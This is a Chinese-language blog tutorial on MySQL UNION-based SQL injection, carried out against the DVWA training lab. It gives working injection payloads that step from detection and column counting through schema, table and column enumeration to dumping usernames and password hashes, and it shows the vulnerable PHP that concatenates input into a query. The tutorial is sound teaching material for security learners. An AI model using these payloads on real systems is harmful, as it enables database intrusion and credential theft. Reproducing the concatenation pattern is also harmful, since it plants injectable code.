Catalog
  1. 1. MYSQL-1-联合注入
    1. 1.1. 1 数据库基础
      1. 1.1.1. 1.1 显示数据库
      2. 1.1.2. 1.2 选择数据库
      3. 1.1.3. 1.3 查看表结构
      4. 1.1.4. 1.4 查询数据
      5. 1.1.5. 1.5 联合查询
      6. 1.1.6. 1.6 information_schema数据库
    2. 1.2. 2 注入步骤
      1. 1.2.1. 2.1 注入判断
      2. 1.2.2. 2.2 字段数量判断
        1. 1.2.2.1. order by 排序
        2. 1.2.2.2. select … into
        3. 1.2.2.3. 已知表名判断
      3. 1.2.3. 2.3 判断显位
      4. 1.2.4. 2.4 获取数据库
      5. 1.2.5. 2.5 获取表
      6. 1.2.6. 2.6 获取字段
      7. 1.2.7. 2.7 获取数据
    3. 1.3. 3 注入总结
    4. 1.4. 4 原理探究
MYSQL-1-联合注入.md

MYSQL-1-联合注入

联合注入:通过union,合并前后select查询结果,union关键字后查询由攻击者指定。

以dvwa作为测试环境。

1 数据库基础

1.1 显示数据库

1
2
3
4
5
6
7
8
9
10
11
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| dvwa |
| mysql |
| performance_schema |
| test |
+--------------------+
5 rows in set (0.00 sec)

1.2 选择数据库

1
2
3
4
5
6
7
8
9
10
mysql> use dvwa;
Database changed
mysql> show tables;
+----------------+
| Tables_in_dvwa |
+----------------+
| guestbook |
| users |
+----------------+
2 rows in set (0.00 sec)

1.3 查看表结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
mysql> desc users;
+--------------+-------------+------+-----+-------------------+-----------------
------------+
| Field | Type | Null | Key | Default | Extra
|
+--------------+-------------+------+-----+-------------------+-----------------
------------+
| user_id | int(6) | NO | PRI | 0 |
|
| first_name | varchar(15) | YES | | NULL |
|
| last_name | varchar(15) | YES | | NULL |
|
| user | varchar(15) | YES | | NULL |
|
| password | varchar(32) | YES | | NULL |
|
| avatar | varchar(70) | YES | | NULL |
|
| last_login | timestamp | NO | | CURRENT_TIMESTAMP | on update CURREN
T_TIMESTAMP |
| failed_login | int(3) | YES | | NULL |
|
+--------------+-------------+------+-----+-------------------+-----------------
------------+

1.4 查询数据

1
2
3
4
5
6
7
8
9
10
11
mysql> select user,password from users;
+---------+----------------------------------+
| user | password |
+---------+----------------------------------+
| admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
| gordonb | e99a18c428cb38d5f260853678922e03 |
| 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b |
| pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 |
| smithy | 5f4dcc3b5aa765d61d8327deb882cf99 |
+---------+----------------------------------+
5 rows in set (0.00 sec)

1.5 联合查询

1
2
3
4
5
6
7
8
9
10
11
12
mysql> select user,password from users  union select 1,2;
+---------+----------------------------------+
| user | password |
+---------+----------------------------------+
| admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
| gordonb | e99a18c428cb38d5f260853678922e03 |
| 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b |
| pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 |
| smithy | 5f4dcc3b5aa765d61d8327deb882cf99 |
| 1 | 2 |
+---------+----------------------------------+
6 rows in set (0.00 sec)

1.6 information_schema数据库

information_schema数据库在mysql的版本5.0之后出现。

在MySQL中,把 information_schema 看作是一个数据库,确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。

2 注入步骤

注入的本质:攻击者可操控后台执行的sql语句,使本应该作为数据的部分,充当了语义执行而产生注入。

对于注入语句的要求:

通常由三部分组成

前缀 + 语句 + 后缀

前缀和后缀通过与原有执行部分形成闭合,使sql语句有效。通过在语句部分构造查询语句,获取数据库内容。

2.1 注入判断

对于任何存在用户可控输入的参数,都是我们测试的选择,部分参数隐藏在post表单,ajax请求、js等,对于这些可通过burp抓包获取。

输入 1时,dvwa显示了id为1的用户名称。

1570281383648

输入0时,无结果输出,此时可判断数据库中不存在id为0的用户。

1570281698418

输入' 时,dvwa产生了报错。我们要思考,在这里它为什么会产生报错,对于一些符号的使用,它是配对的,''""{}等,当出现符号不匹配时,此时mysql会产生报错,由此可推测输入参数由''单引号包裹。此时通过闭合前后单引号,构造语句,获取数据。

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''0''' at line 1

1570281488038

1
2
3
4
http://localhost/DVWA-master/vulnerabilities/sqli/?id=1%27%20or%201=1--%20%20&Submit=Submit#

0' OR 1=1 -- OR 1=1 为永真-
前缀 语句 后缀

通过0' OR 1=1 --执行,返回结果,此时结果发生改变,数据库执行了我们构造的语句,证明存在注入。

1570281943079

2.2 字段数量判断

union联合查询要求,前后查询字段数量相同。

order by 排序

通过order by 排序指定查询列,如果不存在,则数据库报错。

数据库查询结果:

1570282629999

dvwa测试:

可判断出select查询语句字段数为2。

1570282715843

1570282735736

1570282864203

select … into

原理?

数据库查询结果:

1570283081674

dvwa:

不正确直接报错,正确不输出结果

1
1' limit 1,1 into @,@,@ --

1570283212146

1570283233879

已知表名判断

原理?

1570283597176

2.3 判断显位

显位指后端将查询结果输出到前端页面的字段,通过操纵该字段返回数据。

1
1' union select 1,2 --

1,2 都输出到了前端页面,所以此时,这两个字段都可以作为显位。

1570283741061

2.4 获取数据库


在mysql低于特定版本时,此时没有information_schema数据库,对于数据库、表、字段的获取,只能够通过暴力猜解来完成。

数据库:

1570284639365

dvwa:

1
0' union select schema_name,2 from information_schema.schemata--

1570284750792

1
0' union select group_concat(schema_name),2 from information_schema.schemata--

1570284797646

2.5 获取表

数据库:

1570284974818

dvwa:

1
0' union select table_name,2 from information_schema.tables where table_schema='dvwa'--

1570285096242

2.6 获取字段

数据库:

1570285299015

dvwa:

1
0' union select column_name,2 from information_schema.columns where table_name='users'--

1570285320213

2.7 获取数据

数据库:

1570285534347

dvwa:

1
0' union select group_concat(user,0x7e,password),2 from users--

1570285479522

3 注入总结

1
注入语句,如存在编码问题,可使用十六进制编码后传入  hex
获取数据库名 select schema_name from information_schema.schemata
获取表名 select table_name from information_schema.tables where table_schema=’数据库名’
获取列名 select column_name from information_schema.columns where table_name=’表名’
获取数据 select 字段 from 表

4 原理探究

dvwa low.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) { //判断请求中是否有Submit参数
// Get input
$id = $_REQUEST[ 'id' ]; // 取出参数为id的值

// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; // id直接与查询语句进行了拼合
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //sql查询

// Get results // 返回结果
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

mysqli_close($GLOBALS["___mysqli_ston"]);
}



?>
1
SELECT first_name, last_name FROM users WHERE user_id = '$id';

$id 为我们传入的参数,此时通过闭合前后单引号,构造语句进行数据查询。

因为传入参数直接与sql语句进行拼合,导致sql注入的产生。

Author: licong
Link: https://licongm.github.io/2019/10/06/MYSQL-联合注入-md/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
  • 支付寶